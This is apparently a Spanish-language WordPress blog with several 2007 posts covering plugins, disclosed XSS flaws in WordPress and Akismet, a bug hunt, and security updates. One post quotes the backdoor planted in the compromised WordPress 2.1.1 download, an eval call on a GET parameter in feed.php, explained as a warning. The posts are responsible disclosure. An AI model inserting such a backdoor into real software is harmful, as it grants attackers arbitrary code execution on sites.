Categories
Varios WordPress

WP-Recomiendo, porque ustedes lo merecen

Acabo de instalar una versión modificada del plugin WP-Recomiendo (versión realizada por Andrés Nieto sobre el trabajo inicial de Manuel Almeida), este plugin permite que ustedes recomienden artículos, para que una portada del blog sea formada en base a los votos que hagan sobre cada artículo.

Como sabrán los que se toman la molestia de leer este blog (¡gracias!) no escribo mucho, pero las pocas veces que lo hago, generalmente hablo sobre temas variados. Por este motivo, decidí hacer una modificación al plugin WP-Recomiendo, que permite básicamente seleccionar un conjunto de categorías que uno quiere seguir (feed incluido); éstas entradas están disponibles en http://www.buayacorp.com/personalizado/.

Si alguien está interesado en esta nueva versión del plugin, no dude en dejar un comentario para ponerlo a disposición.

Categories
Desarrollo de Software Seguridad Software Libre Web WordPress XSS

Múltiples vulnerabilidades XSS en WordPress y el plugin Akismet

Actualización (09/03/2007): Finalmente ya existe un parche oficial para el problema reportado el lunes pasado (Secunia Advisory SA24430, Ticket WordPress), como había comentado estos fallos afectaban a la rama 2.x y a la última versión de desarrollo, adicionalmente se han hecho correcciones en otros archivos más:

  • Rama 2.0
    • wp-admin/admin-functions.php (equivale al problema reportado en wp-admin/import/mt.php)
  • Rama 2.1
    • wp-admin/admin-functions.php
    • wp-admin/custom-header.php
    • wp-admin/upload-functions.php (no reportado previamente)
    • wp-includes/script-loader.php (no reportado previamente)
  • Versión en desarrollo
    • wp-admin/admin-functions.php
    • wp-admin/custom-header.php
    • wp-admin/upload-functions.php (no reportado previamente)
    • wp-includes/script-loader.php (no reportado previamente)

El fallo todavía persiste en el plugin akismet, hasta que lo solucionen pueden usar la versión modificada que puse hace unos días.


Desde los casi tres años que vengo usando WordPress, es la primera vez que veo que se reportan con mayor frecuencia fallos de seguridad en este CMS, imagino que esto se debe a la popularidad que alcanzó y también a nuevas características que se añaden en cada versión mayor.

Por otro lado, uno de los aspectos que hace de WordPress una aplicación muy extensible y a la vez bastante insegura son los plugins, puesto que los que alguna vez desarrollamos uno de éstos, probablemente hayamos introducido algún fallo de tipo SQL Injection, XSS o el menos tomado en cuenta CSRF, que entre otras cosas van a comprometer la instalación principal de WordPress e inclusive el servidor donde se aloja éste.

Me parece que alguien debería evangelizar la escritura de plugins seguros por el daño que pueden causar sin son mal programados -de nada sirve que los desarrolladores de este CMS se "rompan el lomo" añadiendo características para hacer más seguro el core, si en los plugins casi nadie más las usa por desconocimiento o falta de documentación.

En fin, hago el comentario anterior, puesto gran parte de los plugins que actualmente estoy usando, tienen problemas de seguridad* (XSS y CSRF principalmente), que en la medida de lo posible, intentaré reportarlo a sus autores.

Luego de la larga y aburrida queja, paso a comentar que existen vulnerabilidades de tipo XSS en los siguientes archivos.

  1. wp-admin/edit-comments.php: no se escapan parámetros arbitrarios al momento de realizar la paginación. Prueba de concepto.
  2. wp-admin/import/mt.php: no se escapa la url que se genera para el atributo action del formulario para importar un blog del tipo Movable Type. Prueba de concepto.
  3. wp-admin/custom-header.php: el mismo problema de validación de datos, no pongo una prueba de concepto porque no se puede acceder directamente a esta página.
  4. wp-content/plugins/akismet/akismet.php: el mismo problema del punto 1 al momento de paginar los comentarios de tipo spam, la prueba de concepto es parecida, sólo hay que agregar el parámetro page=akismet-admin.

Al momento de publicar esta entrada programada, seguramente ya habrá un parche oficial en la página de reporte de incidencias de WordPress (aunque hice el reporte a través de security@wordpress.org), pero para los impacientes pongo una solución temporal (**).

Actualización (06/03/2007): Los fallos en wp-admin/edit-comments.php y wp-admin/custom-header.php sólo se pueden reproducir a partir de la rama 2.1.x, el de wp-admin/import/mt.php y akismet me parece que a partir de la rama 2.0.x.

*: Si, también los plugins que desarrollé tienen estos problemas 😀 , pero estoy aprendiendo.
**: Los archivos modificados corresponden a la versión 2.1.2 (ver diferencias), úsenlo bajo vuestra responsabilidad.

Categories
WordPress

WordPress bug hunt

El sábado 10, hora 1:00:00 UTC (viernes en mi caso) se llevará a cabo una caza de bugs en WordPress. En este evento, se intenta encontrar, confirmar y corregir la mayor cantidad posible de bugs que afectan a la última versión de este CMS.

The goal of a Bug Hunt is to find, confirm, and fix bugs, then submit and test patches for those bugs. A WordPress Bug Hunt normally commences with a session on the #wordpress-bugs (irc://irc.freenode.net/wordpress-bugs) IRC channel on irc.freenode.net. There are always numerous bug hunting opportunities available for Bug Hunters. PHP coding experience is not necessary -- all participants are welcome to join!

Si tienen un poco de tiempo, esta es una buena ocasión para contribuir en la mejora de WordPress 🙂 .

Categories
Seguridad Web WordPress XSS

Actualización de Seguridad de WordPress

Hace unas cuantas horas me enteré de la liberación de una nueva versión de WordPress, que según el blog oficial, un cracker obtuvo acceso a uno de los servidores de wordpress.org y puso código malicioso en las versiones descargables de la versión 2.1.1.

Casualmente descargué esta versión vulnerable de WordPress, para realizar las pruebas -y algunas correcciones- de la nueva versión del plugin PopStats. El código insertado en la versión que tengo a la mano es la siguiente (feed.php):

php:

function comment_text_phpfilter($filterdata) {
        eval($filterdata);
}

...

if ($_GET["ix"]) { comment_text_phpfilter($_GET["ix"]); }

Como se puede apreciar, el código insertado es bastante peligroso puesto que permite la ejecución de código arbitrario.

Esta nueva versión, también corrige otro problemas de seguridad:

  • XSS en la parte encargada de evitar ataques de tipo CSRF.

Es recomendable que actualizen cuanto antes vuestra versión de WordPress para evitarse malos ratos.

Categories
CSRF Seguridad Web WordPress XSS

¿Usas el plugin PopStats?

Actualización: Finalmente Luis Sancho
liberó la versión 2.2.1 del plugin PopStats que principalmente corrige un problema de XSS reportado a su autor hace algunos días.

Las cosas que cambian en esta versión:

  • Corrección de vulnerabilidad XSS: problema originado por no realizar filtros adecuados al momento de guardar y mostrar los valores del referer
    y la dirección IP que envía el cliente.
  • El plugin sólo inserta código JavaScript y CSS en página de administración del plugin.
  • Arreglado problema con el evento "onload" del objeto window, ahora utiliza el modelo de eventos del DOM.
  • Protección contra ataques de tipo CSRF al momento de limpiar las estadísticas (*).

(*) Al enviar esta propuesta, introduje un bug en el plugin que hace que no se puedan limpiar las estadísticas
en la rama 2.0 de WordPress, esto fue originado por que la ubicación de la función check_admin_referer cambia entre las versiones 2.0.x
(pluggable-functions.php) y 2.1.x (pluggable.php).


Luego de haber estado usando durante un tiempo el plugin PopStats, hoy mientras revisaba las estadísticas del blog, acabo de darme cuenta que es vulnerable a ataques XSS.

Por el momento no daré los detalles de la vulnerabilidad, pero recomiendo que desactiven cuanto antes el mencionado plugin, puesto que estos valores especialmente preparados se pueden persistir en las tablas que usa para almacenar sus datos.